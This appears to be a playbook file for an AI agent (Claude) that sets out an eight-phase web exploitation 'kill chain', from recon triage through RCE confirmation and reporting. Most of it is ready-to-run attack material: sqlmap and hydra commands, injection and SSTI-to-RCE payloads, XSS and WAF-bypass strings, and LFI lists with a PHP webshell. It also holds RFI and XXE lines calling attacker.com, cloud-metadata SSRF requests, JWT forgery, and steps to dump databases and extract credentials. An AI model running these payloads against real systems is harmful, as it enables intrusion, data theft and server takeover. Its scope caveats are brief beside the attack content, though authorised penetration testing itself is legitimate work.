Web Exploitation — Offensive Kill Chain
Architecture
scripts/
├── common_web.sh # Shared functions (logging, has_tool, phase_done, emit_summary)
└── web_exploit.sh # PHASES 1-8: injection, XSS, file attacks, auth, logic, RCE
Each script:
- Accepts
<TARGET_URL> <OUT> [RECON_OUT]as args RECON_OUTis the output directory from a prior web-recon run (optional but preferred)- Uses checkpoints (
.phase_X.done) to avoid repeating completed phases - Emits a JSON summary via
---EXPLOIT_SUMMARY_JSON---markers for Claude to parse
Initial Setup — Variables and Context
TARGET="https://target.com" # base URL (with scheme)
DOMAIN="target.com" # bare domain
# If web-recon was run previously, point to its output:
RECON_OUT="$(pwd)/target" # adjust to actual path; leave empty if no prior recon
PROJECT=$(echo "$DOMAIN" \
| sed -E 's/\.(com\.br|org\.br|net\.br|gov\.br|com|org|net|io|br|co\.uk|co|uk|fr|de|jp|au|us|ca)$//' \
| sed 's/\./-/g' | tr '[:upper:]' '[:lower:]')
OUT="$(pwd)/${PROJECT}-exploit"
SCRIPTS="$HOME/.claude/skills/web-exploitation/scripts"
mkdir -p "$OUT"/{sqli,xss,lfi,ssrf,xxe,upload,auth,logic,rce,findings}
Create progress tasks with TaskCreate:
"PHASE 1 — Recon Triage (load prior recon or gather baseline)"
"PHASE 2 — Injection Attacks (SQLi, NoSQLi, SSTI, LDAP)"
"PHASE 3 — XSS (Reflected, Stored, DOM)"
"PHASE 4 — File & Path Attacks (LFI, RFI, Upload Bypass)"
"PHASE 5 — Server-Side Attacks (SSRF, XXE, XSLT)"
"PHASE 6 — Authentication & Session Attacks (JWT, OAuth, Broken Auth)"
"PHASE 7 — Logic & Client-Side Attacks (IDOR, CSRF, Race Condition, Deserialization)"
"PHASE 8 — RCE Confirmation & Report"
Mark each task in_progress when starting, completed when done.
Tool Priority
1. CLI — always first
sqlmap — automated SQL injection (use -m for URL list from recon)
dalfox — XSS detection and exploitation
curl — manual requests (always available as fallback)
ffuf — parameter fuzzing, content discovery for exploitation
gf — filter URLs by vulnerability pattern (sqli, xss, lfi, ssrf, redirect)
qsreplace — inject payloads into URL parameters
httpx (Go) — probe response codes, headers for confirmation
nuclei — targeted exploitation templates
jwt_tool — JWT attacks (algorithm confusion, key injection, weak secret)
2. MCPs (when available)
mcp__burp__* — replay/intercept/manipulate requests, confirm vulnerabilities
mcp__postman__* — API endpoint testing (IDOR, auth bypass, rate limiting) — REST/GraphQL only
mcp__hexstrike-ai__* — dalfox_xss_scan, sqlmap_scan, jwt_analyzer, api_fuzzer, burpsuite_scan
mcp__Notion__* — publish confirmed findings
3. curl fallback — when no specialized tool is available
curl -sk -X METHOD "URL" -H "Header: value" -d "body" -o /dev/null -w "%{http_code}|%{size_download}"
4. Never install tools without permission
If a tool is missing, ask the user: "Tool X is not installed. Would you like me to install it, or should I proceed with curl?"
Operational Rules
- Recon first: if
$RECON_OUTexists, load$RECON_OUT/urls/params.txt,gf_sqli.txt,gf_xss.txt, etc. before generating your own target lists - Never run sqlmap on URLs you haven't verified are in scope
- Rate limit: add
--delay 1or-rate 10when testing production or bug bounty targets - WAF awareness: if web-recon detected a WAF, use evasion techniques; note WAF vendor in report
- Burp MCP: when available, always proxy interesting requests through Burp for evidence capture
- Postman MCP: only for targets exposing a documented or discoverable REST/GraphQL API
- Confirmation over automation: prefer confirming one finding well over mass scanning
- No installation without explicit permission — if a tool is missing, fall back to curl or ask
PHASE 1 — Recon Triage
If $RECON_OUT exists and contains prior web-recon output:
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=1
What it does:
- Reads and reports on what recon data is available:
$RECON_OUT/urls/params.txt— parameterized URLs$RECON_OUT/urls/gf_sqli.txt— SQLi candidates$RECON_OUT/urls/gf_xss.txt— XSS candidates$RECON_OUT/urls/gf_ssrf.txt— SSRF candidates$RECON_OUT/urls/gf_redirect.txt— Open redirect candidates$RECON_OUT/js/secrets.json— Exposed secrets/API keys$RECON_OUT/vulns/nuclei.txt— Prior nuclei findings$RECON_OUT/dns/live.txt— Live hosts (for scope)
- Outputs a triage summary: counts per category, highest-priority targets
If no recon output exists:
# Minimal baseline: collect parameterized URLs from target
waybackurls "$DOMAIN" 2>/dev/null | grep "=" | uro | head -2000 > "$OUT/params.txt"
# Or with gau:
gau "$DOMAIN" 2>/dev/null | grep "=" | uro | head -2000 >> "$OUT/params.txt"
# Sort with gf patterns
gf sqli "$OUT/params.txt" > "$OUT/sqli/sqli_urls.txt" 2>/dev/null
gf xss "$OUT/params.txt" > "$OUT/xss/xss_urls.txt" 2>/dev/null
gf ssrf "$OUT/params.txt" > "$OUT/ssrf/ssrf_urls.txt" 2>/dev/null
gf lfi "$OUT/params.txt" > "$OUT/lfi/lfi_urls.txt" 2>/dev/null
PHASE 2 — Injection Attacks
2.1 SQL Injection
Source: $RECON_OUT/urls/gf_sqli.txt or $OUT/sqli/sqli_urls.txt
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=2
Priority approach:
# 1. sqlmap on parameter file (preferred — uses prior recon list)
sqlmap -m "$SQLI_URLS" \
--batch --random-agent \
--level 3 --risk 2 \
--threads 5 \
--output-dir "$OUT/sqli/sqlmap" 2>/dev/null
# 2. sqlmap on single URL with parameter
sqlmap -u "https://target.com/page?id=1" --batch --random-agent --dbs
# 3. With Burp request file
sqlmap -r "$OUT/burp_request.txt" --batch --random-agent
Error-based quick check via curl:
curl -sk "https://target.com/page?id=1'" | grep -i "sql\|syntax\|mysql\|error\|ORA-\|pg_query"
NoSQL Injection (MongoDB):
# Test parameter with NoSQL operators
curl -sk -X POST "https://target.com/login" \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}'
curl -sk -X POST "https://target.com/login" \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": ".*"}}'
LDAP Injection:
# Test login fields
curl -sk -X POST "https://target.com/login" \
-d "username=*)(uid=*))(|(uid=*&password=x"
2.2 SSTI (Server-Side Template Injection)
Detection polyglot — inject into all text parameters:
SSTI_POLYGLOT='${{<%[%'"'"'"}}%\.'
# If error or unusual response → SSTI candidate
# Engine-specific payloads:
# Jinja2/Flask: {{7*7}} → 49 confirmed; {{config.items()}} for data leak
# Twig: {{7*7}} → 49; {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# FreeMarker: ${7*7} → 49; ${"freemarker.template.utility.Execute"?new()("id")}
# Velocity: #set($x=7*7)${x} → 49
# Smarty: {7*7} → 49; {php}echo `id`;{/php}
# ERB (Ruby): <%= 7*7 %> → 49; <%= `id` %>
# Pebble: {{7*7}}; {{ variable.getClass().forName('java.lang.Runtime').getMethod('exec',''.class).invoke(variable.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id') }}
Automated SSTI scan:
# With nuclei:
nuclei -u "$TARGET" -t ~/nuclei-templates/vulnerabilities/generic/ssti.yaml
# With tplmap if available:
python3 tplmap.py -u "https://target.com/page?name=test"
PHASE 3 — XSS
Source: $RECON_OUT/urls/gf_xss.txt or $OUT/xss/xss_urls.txt
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=3
Priority approach:
# 1. dalfox — XSS scanner with blind XSS support
dalfox file "$XSS_URLS" \
--silence --no-color \
--output "$OUT/xss/dalfox_results.txt" 2>/dev/null
# Blind XSS (replace with your callback):
dalfox file "$XSS_URLS" \
--blind "https://your-collaborator.com/xss" \
--output "$OUT/xss/dalfox_blind.txt" 2>/dev/null
# 2. airixss if available:
cat "$XSS_URLS" | airixss -payload "<img src=x 2>/dev/null
# 3. Manual curl confirmation
curl -sk "https://target.com/page?q=<script>alert(1)</script>" | grep -i "alert(1)"
WAF bypass payloads (common):
<svg/onload=alert(1)>
<img src=x
<body
"><img src=x
javascript:alert(1)
<iframe src="javascript:alert(1)">
Stored XSS — test all input fields:
# Test with a unique marker and check if reflected in other pages/responses
MARKER="xss$(date +%s)"
curl -sk -X POST "https://target.com/comment" -d "body=$MARKER<script>alert(1)</script>"
curl -sk "https://target.com/comments" | grep "$MARKER"
DOM XSS — look for sinks:
# Check JS files for dangerous sinks
grep -Ei "innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|setInterval\(|location\." "$RECON_OUT/js/" -r 2>/dev/null | head -50
PHASE 4 — File & Path Attacks
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=4
4.1 LFI / Path Traversal
Source: $RECON_OUT/urls/gf_lfi.txt or test file-related parameters manually
# Quick LFI check on suspected parameter
LFI_PAYLOADS=(
"../../../etc/passwd"
"....//....//....//etc/passwd"
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
"..%252f..%252f..%252fetc%252fpasswd"
"/etc/passwd%00"
"php://filter/convert.base64-encode/resource=index.php"
"php://input"
"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4="
)
for payload in "${LFI_PAYLOADS[@]}"; do
RESP=$(curl -sk "https://target.com/page?file=$payload")
if echo "$RESP" | grep -q "root:"; then
echo "[LFI CONFIRMED] payload: $payload"
echo "$RESP" | head -5
fi
done
LFI to RCE paths:
- PHP session file poisoning:
?file=/var/lib/php/sessions/sess_<ID>after poisoning User-Agent - Log poisoning:
?file=/var/log/apache2/access.logafter poisoning User-Agent with<?php system($_GET['cmd']); ?> /proc/self/environpoisoning- PHP wrappers:
php://filter,php://input,data://,expect://
4.2 File Upload Bypass
Test sequence:
1. Upload allowed file type → confirm where it goes
2. Change extension: .php → .php5, .phtml, .php.jpg, .pHp
3. Change Content-Type: image/jpeg with PHP payload
4. Double extension: shell.jpg.php
5. Null byte: shell.php%00.jpg (older PHP)
6. Magic bytes: add GIF89a; at start + PHP payload
7. Polyglot: valid image with embedded PHP
Minimal PHP webshell:
<?php system($_GET['cmd']); ?>
# Test upload with modified content-type
curl -sk -X POST "https://target.com/upload" \
-F "file=@shell.php;type=image/jpeg" \
-F "submit=Upload"
4.3 RFI
# If LFI found — test for RFI (allow_url_include must be On)
curl -sk "https://target.com/page?file=http://attacker.com/shell.php"
curl -sk "https://target.com/page?file=\\\\attacker.com\share\shell.php"
PHASE 5 — Server-Side Attacks
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=5
5.1 SSRF
Source: $RECON_OUT/urls/gf_ssrf.txt or parameters like url=, path=, file=, dest=, redirect=
# Use a collaborator/callback URL (e.g., interactsh, Burp Collaborator, RequestBin)
CALLBACK="http://your-collaborator-url.com"
SSRF_PARAMS=("url" "path" "file" "dest" "redirect" "uri" "src" "source" "target" "host" "proxy")
for param in "${SSRF_PARAMS[@]}"; do
curl -sk "https://target.com/api/fetch?${param}=${CALLBACK}" -o /dev/null
done
# Internal service discovery via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
RESP=$(curl -sk --max-time 3 "https://target.com/api/fetch?url=http://127.0.0.1:$port")
[ -n "$RESP" ] && echo "[SSRF] Port $port responded: ${RESP:0:100}"
done
# Cloud metadata SSRF (AWS)
curl -sk "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"
# GCP metadata
curl -sk "https://target.com/api/fetch?url=http://metadata.google.internal/computeMetadata/v1/" \
-H "Metadata-Flavor: Google"
# Azure metadata
curl -sk "https://target.com/api/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"
SSRF bypass techniques:
http://127.0.0.1 → 0.0.0.0, 0x7f000001, 127.1, ::1
http://localhost → http://localtest.me, http://spoofed-dns.attacker.com (resolve to 127.0.0.1)
Redirect: attacker.com/redirect → 127.0.0.1
URL scheme: file:///etc/passwd, dict://, gopher://
5.2 XXE
Detection and exploitation:
<!-- Basic XXE -->
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
<!-- Blind XXE — out-of-band -->
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://your-collaborator.com/xxe.dtd"> %xxe;]>
<root>test</root>
<!-- XXE via SVG upload -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<!-- XXE via XLSX/DOCX (unzip → edit xl/workbook.xml → rezip → upload) -->
# Test XML endpoint
curl -sk -X POST "https://target.com/api/xml" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>' \
| grep -q "root:" && echo "[XXE CONFIRMED]"
PHASE 6 — Authentication & Session Attacks
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=6
6.1 JWT Attacks
# Analyze token structure (if jwt_tool available)
jwt_tool "PASTE_TOKEN_HERE"
# Algorithm confusion (RS256 → HS256)
# Extract public key from /jwks.json or /.well-known/jwks.json
curl -sk "https://target.com/.well-known/jwks.json"
# Common JWT attack paths:
# 1. None algorithm: change "alg":"RS256" → "alg":"none", remove signature
# 2. Weak secret: jwt_tool <token> -C -d rockyou.txt
# 3. RS256 → HS256 confusion: sign with server's public key as HMAC secret
# 4. Kid injection: {"kid": "../../dev/null"} or {"kid": "' UNION SELECT 'secret'--"}
# 5. JWK injection: embed attacker-controlled key in header
# With jwt_tool:
jwt_tool "TOKEN" -X a # None algorithm attack
jwt_tool "TOKEN" -C -d rockyou.txt # Crack weak secret
jwt_tool "TOKEN" -X k -pk public.pem # RS256 → HS256 confusion
6.2 OAuth Attacks
# 1. Open redirect in redirect_uri
# Test: append extra chars, change to attacker domain
https://target.com/oauth/authorize?client_id=X&redirect_uri=https://attacker.com&...
# 2. State parameter missing (CSRF on OAuth flow)
# Remove &state= from authorization request — if accepted, CSRF possible
# 3. Authorization code interception
# Manipulate redirect_uri to attacker-controlled domain (leaks code via Referer)
# 4. Token leakage via Referer header
# Check if access_token appears in URL (implicit flow) → logged in Referer headers
# 5. Scope manipulation
# Modify scope parameter: add "admin", "openid", "profile" etc.
6.3 Broken Authentication
# Default credentials check
CREDS=("admin:admin" "admin:password" "admin:123456" "user:user" "test:test")
for cred in "${CREDS[@]}"; do
USER=$(echo "$cred" | cut -d: -f1)
PASS=$(echo "$cred" | cut -d: -f2)
RESP=$(curl -sk -o /dev/null -w "%{http_code}" -X POST "https://target.com/login" \
-d "username=$USER&password=$PASS")
[ "$RESP" != "401" ] && [ "$RESP" != "403" ] && echo "[AUTH] $cred → HTTP $RESP"
done
# Password reset token entropy test
# Request reset twice, compare tokens for patterns
# Session fixation test
# Note session ID before login, check if same after login
# HTTP Basic Auth brute (small targeted list only — check lockout policy)
if has_tool hydra; then
hydra -l admin -P "$ROCKYOU" "$DOMAIN" http-post-form "/login:username=^USER^&password=^PASS^:Invalid" \
-t 4 -w 3 -o "$OUT/auth/hydra_results.txt" 2>/dev/null
fi
PHASE 7 — Logic & Client-Side Attacks
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=7
7.1 Broken Access Control / IDOR
# Test IDOR on object IDs
# 1. Change numeric IDs: /api/user/1 → /api/user/2
# 2. Change UUID/GUID: swap with known or guessed value
# 3. Test with different user roles (if multiple accounts available)
# 4. Try accessing other users' resources while authenticated
for id in $(seq 1 20); do
RESP=$(curl -sk -w "\n%{http_code}" "https://target.com/api/users/$id" \
-H "Authorization: Bearer $MY_TOKEN")
HTTP_CODE=$(echo "$RESP" | tail -1)
BODY=$(echo "$RESP" | head -1)
[ "$HTTP_CODE" == "200" ] && echo "[IDOR] /api/users/$id → $HTTP_CODE: ${BODY:0:100}"
done
7.2 CSRF
# Check for CSRF token in forms/requests
# If missing or static: CSRF likely
# Generate minimal CSRF PoC (for confirming with Burp or manual test)
cat > "$OUT/logic/csrf_poc.html" <<'EOF'
<html>
<body>
<form action="https://TARGET/action" method="POST">
<input type="hidden" name="param" value="value" />
<input type="submit" value="Submit" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
EOF
7.3 Race Condition
# Test concurrent requests for logic bypass (e.g., coupon reuse, balance manipulation)
# Send N simultaneous requests:
for i in $(seq 1 10); do
curl -sk -X POST "https://target.com/api/redeem" \
-H "Authorization: Bearer $TOKEN" \
-d "coupon=DISCOUNT10" &
done
wait
# Check if balance was updated multiple times
7.4 Insecure Deserialization
# Java serialization: look for base64 starting with rO0AB (Java object)
echo "rO0AB..." | base64 -d | xxd | head -2
# If confirmed Java serialized object → use ysoserial payloads
# PHP serialization: look for O:, a:, s: in params/cookies
# Test: manipulate O:4:"User":1:{s:4:"role";s:4:"user";}
# → try: O:4:"User":1:{s:4:"role";s:5:"admin";}
# Python pickle: look for .pkl endpoints or pickle in Content-Type
# Node.js: check for __proto__ or constructor.prototype manipulation (Prototype Pollution)
7.5 Clickjacking
curl -sk -I "https://target.com" | grep -i "x-frame-options\|content-security-policy"
# If X-Frame-Options missing and CSP doesn't set frame-ancestors:
cat > "$OUT/logic/clickjacking_poc.html" <<'EOF'
<html>
<body>
<iframe src="https://TARGET" style="opacity:0.1;position:absolute;top:0;left:0;width:100%;height:100%;"></iframe>
<button style="position:absolute;top:200px;left:400px;">Click me!</button>
</body>
</html>
EOF
7.6 Host Header Injection
# Test for Host header trust
ORIG_RESP=$(curl -sk "https://target.com/reset" -d "email=victim@target.com")
curl -sk "https://target.com/reset" \
-H "Host: attacker.com" \
-d "email=victim@target.com" | grep -i "attacker.com"
# If attacker.com appears in password reset link → Host Header Injection
PHASE 8 — RCE Confirmation & Report
RCE Confirmation
# Confirm with OOB interaction before attempting full RCE
# Use interactsh-client or Burp Collaborator:
interactsh-client -v &
COLLAB_URL="<collaborator-url>"
# Ping test via various injection points
curl -sk "https://target.com/ping?host=$(echo -n "curl $COLLAB_URL" | base64)"
curl -sk "https://target.com/exec" -d "cmd=ping+-c+1+$COLLAB_URL"
# If SSTI confirmed → escalate to RCE:
# Jinja2: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# ERB: <%= `id` %>
# Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# If LFI confirmed → try log poisoning for RCE (Apache/Nginx)
# If SQLi confirmed → try INTO OUTFILE or xp_cmdshell (MSSQL)
Consolidated Report
## WEB EXPLOITATION REPORT — [TARGET] — [DATE]
## Project: $PROJECT | Output: $OUT
### Confirmed Vulnerabilities (CVSS priority)
1. [CRITICAL] RCE — [endpoint, parameter, method]
2. [CRITICAL] SQLi (blind/error/union) — [endpoint, dbms]
3. [HIGH] SSTI → RCE — [endpoint, template engine]
4. [HIGH] SSRF (internal/cloud metadata) — [endpoint]
5. [HIGH] XXE — [endpoint]
6. [HIGH] File Upload → RCE — [upload path, shell URL]
7. [HIGH] JWT Algorithm Confusion / None attack
8. [MEDIUM] IDOR — [endpoint, object type]
9. [MEDIUM] Stored XSS — [endpoint, context]
10. [MEDIUM] LFI — [parameter, confirmed files]
11. [LOW] Reflected XSS — [count, parameters]
12. [LOW] CSRF — [endpoint]
13. [INFO] Clickjacking — [scope]
### Evidence Files
- SQLi: `$OUT/sqli/` (sqlmap logs, confirmed payloads)
- XSS: `$OUT/xss/` (dalfox output, reflected payload proof)
- LFI: `$OUT/lfi/lfi_confirmed.txt`
- SSRF: `$OUT/ssrf/ssrf_confirmed.txt`
- Auth: `$OUT/auth/` (JWKS, security headers, cookie flags)
- Logic: `$OUT/logic/` (CSRF PoC HTML, clickjacking PoC)
- Screenshots / Burp exports: `$OUT/evidence/` (see section below)
### Next Steps
[For confirmed RCE → see web-postexploitation skill]
[For IDOR → demonstrate full business impact with proof]
[For SQLi → dump db schema, extract credentials if authorized]
If Notion MCP is available, publish the report with mcp__Notion__notion-create-pages.
Create a subpage for each Critical/High finding with full reproduction steps.
Evidence Capture
Capture a screenshot on every confirmed vulnerability. Save to $OUT/evidence/.
mkdir -p "$OUT/evidence"
# Terminal screenshot (macOS)
screencapture -x "$OUT/evidence/exploit_$(date +%Y%m%d_%H%M%S)_$VULN_TYPE.png"
# Terminal screenshot (Linux)
scrot "$OUT/evidence/exploit_$(date +%Y%m%d_%H%M%S)_$VULN_TYPE.png"
# Full session log (curl + response) saved automatically by web_exploit.sh
# via tee into outputs: $OUT/sqli/, $OUT/xss/, etc.
What to capture per vulnerability type:
- SQLi: sqlmap output showing extracted DB +
--dumpoutput (capture before scrolling) - XSS: browser screenshot with payload executed (alert box or DOM modification)
- LFI: curl response with
/etc/passwdor sensitive file contents visible - SSRF: interactsh or Burp Collaborator callback confirming DNS/HTTP ping
- File Upload: accessible webshell screenshot +
idorwhoamioutput - JWT: jwt_tool output showing tampered claim accepted by the server
- IDOR: two responses side-by-side (user A accessing user B's resource)
Submit to Notion:
mcp__Notion__notion-create-pages — create finding page with evidence
mcp__Notion__notion-update-page — attach screenshot as image block
MCP Integration (when available)
Burp Suite (mcp__burp__*)
- Proxy suspicious requests for evidence capture
- Replay modified requests for SQLi/XSS/SSRF/IDOR confirmation
- Intruder for parameter fuzzing when ffuf is not available
Postman (mcp__postman__*)
- Only for REST/GraphQL API targets
- IDOR testing with different user tokens
- Auth bypass testing with modified headers
hexstrike-ai (mcp__hexstrike-ai__*)
dalfox_xss_scan— XSS automationsqlmap_scan— SQL injectionjwt_analyzer— JWT token analysisapi_fuzzer— API endpoint fuzzingburpsuite_scan— Burp-based scanning
Notion (mcp__Notion__*)
Publish final report. Create one subpage per confirmed Critical/High finding.
Execution Modes
| Mode | When to use | What runs |
|---|---|---|
--quick |
Time-boxed — exploit top findings from recon | Phases 1 (triage) + 2 (SQLi) + 3 (XSS) only |
--full |
Full authorized web application pentest | All 8 phases |
--api |
REST/GraphQL API target | Phase 6 (auth) + Phase 7 (IDOR, logic) via Postman MCP |
--confirm <vuln> |
Confirm a specific suspected vulnerability | Run only the relevant phase |
Operational Notes
- WAF evasion: if WAF detected in recon, encode payloads (URL, HTML entity, Unicode), use chunked encoding, add noise parameters
- Rate limiting: use
--delay 1in sqlmap; limit concurrent curl requests to avoid bans in bug bounty - Token efficiency: run web_exploit.sh phases as bash scripts — only emit JSON summaries back to Claude
- Recon linkage: always check
$RECON_OUT/vulns/nuclei.txtbefore starting — it may already confirm vulnerabilities - Scope: before exploiting any endpoint, verify it is in-scope per the program/engagement rules